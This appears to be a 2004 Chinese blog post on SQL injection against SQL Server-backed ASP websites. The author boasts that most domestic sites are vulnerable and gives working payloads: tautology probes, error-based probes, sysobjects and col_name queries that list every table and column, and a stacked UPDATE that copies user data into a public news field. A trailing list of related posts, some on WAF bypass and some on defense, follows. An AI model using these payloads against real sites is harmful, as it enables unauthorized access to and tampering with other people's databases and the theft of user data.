专门针对SQL Server的注入手段

原创 2004年07月13日 17:35:00

小弟潜心研究sql injection一个余月,发现国内存在sql injection漏洞的网站一大把一大把,80%以上的asp网站都似乎是不学无术、骗吃骗喝的“程序员”所做。不光漏洞多,而且网站内部结构也是零乱无比……

关于sql injection网上流传甚广的SQL注入天书可以说是非常不错的入门介绍了,在这里也要重复一些老套的手法。

首先上手的都是1=1,1=2的方法测试验证漏洞,字符则用' or 1=1 or '1'='。

而sql server特别的还有user>0,db_name()>0。但是这些手法都只是检测漏洞的方法,真正有用的在下面。

1、获得所有的Table表名

(Select distinct Top 1 name from sysobjects where xtype='U' and status>0 and name not in (select distinct top i name from sysobjects where xtype='U' and status>0 order by name) order by name)>0

i为一个整数,i取1时,返回第一个table name(按表名排序),2返回第二个,依此类推,直到什么都没有返回为止。

2、得到表名后再获得字段名(field name)

(Select Top 1 col_name(object_id('TableName'),i) from sysobjects)>0

这一句返回TableName这个表里第i个字段的名字

3、得到所有的表名以及里面字段名,估计对这个网站的结构也就有相应的了解了。然后怎样获得字段中的数据呢?

如果是字符串,自然用>0的技俩,如果是其它类型,那就找一个新闻之类的表,再用

;update news set caption=(select username from users where id=9) where newsid=100;--  之类的方法把你要的数据写出来,这样基本上就没有你不知道的内容了。

我自己用VB做了个软件,自动获得表名和字段名,速度极快,瞬间整个数据库的结构就出来了。

当然这些不过是sql语句的构造而已,没什么过多的技术,另外这一个网页也是sql server injection必备的哟http://msdn.microsoft.com/library/default.asp?url=/library/en-us/tsqlref/ts_tsqlcon_6lyk.asp

SQL Server 2016新特性: 对JSON的支持

SQL Server 2005开始支持XML数据类型,提供原生的XML数据类型、XML索引及各种管理或输出XML格式的函数。随着JSON的流行,SQL Server2016开始支持JSON数据类型,...
  • Burgess_Liu
  • Burgess_Liu
  • 2016年06月01日 17:15
  • 3825

绕过WAF的SQL注入语句

0x00前言  现在的网络环境往往是WAF/IPS/IDS保护着Web 服务器等等,这种保护措施往往会过滤挡住我们的SQL注入查询链接,甚至封锁我们的主机IP,所以这个时候,我们就要考虑怎样进行绕过...
  • god_7z1
  • god_7z1
  • 2016年10月10日 23:26
  • 4732

sqlserver字段添加注释方法

对于网络上给出的方法提出了解决方案以及其他可用的方式。
  • dirful
  • dirful
  • 2016年02月25日 21:32
  • 9756

Sybase内的MS SQL Server 注入技术

14.3 Sybase内的MS SQL Server 注入技术有大量的关于Microsoft SQL Server应用程序内SQL注入的文章被发表,这是因为Sybase 和MS SQL Server有...
  • hack8
  • hack8
  • 2011年06月06日 10:00
  • 1051

.Net框架搭建之2、SQL Server MEF依赖注入 MVC Repository框架

MEF依赖注入简介依赖注入对于开发人员来说,方便的就是不需要去关注具体的实现类,不需要去New实例对象,直接使用接口层就能让程序自动注入使用,当然,还有其他一些特点,比如web http同一个请求中可...
  • pukuimin1226
  • pukuimin1226
  • 2016年08月30日 11:08
  • 1399

仅需2步修复被注入的sql server

很多网站经常被当“肉站”来研究并注入,之后数据库所有表的所有char,varchar,nchar,nvarchar类型的字段值都被加上了一段JS 此时除了查找程序漏洞外 ,迫切要做的是恢复数据库,这...
  • qiuzhengxiang
  • qiuzhengxiang
  • 2012年01月05日 14:19
  • 464

SQL server手工注入学习笔记

MSSQL注入(SQL server) 由于这学期正在学数据库,所以理解SQL语句还是可疑的。看完视频后自己动手实践顺便整理了学习笔记,有些来自视频有些来自其他大佬的博客。 一:判断是否有注入 ...
  • qq_32360995
  • qq_32360995
  • 2017年05月07日 12:27
  • 654

java操作sql server数据中,关于PreparedStatement数据注入问题

问题描述: 在Java操作SQL Server数据库时,会使用PreparedStatement数据注入方式避免“万能密码”的产生以及提高代码执行效率。例如经常使用如下方式: requery("s...
  • qq_28088659
  • qq_28088659
  • 2015年12月03日 18:22
  • 281

防范SQL Server注入攻击

SQL 注入式攻击是指利用设计上的漏洞攻击系统,如果动态生成SQL 语句时没有对用户输入的数据进行过滤,便会使SQL 注入攻击得逞.  例如: 用下面的SQL 语句判断用户名和密码: txtSQ...
  • tang_huan_11
  • tang_huan_11
  • 2012年08月08日 10:07
  • 1584

sql server 的数据加密与注入

  • 2009年04月21日 19:12
  • 35KB
  • 下载
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:专门针对SQL Server的注入手段
举报原因:
原因补充:

(最多只允许输入30个字)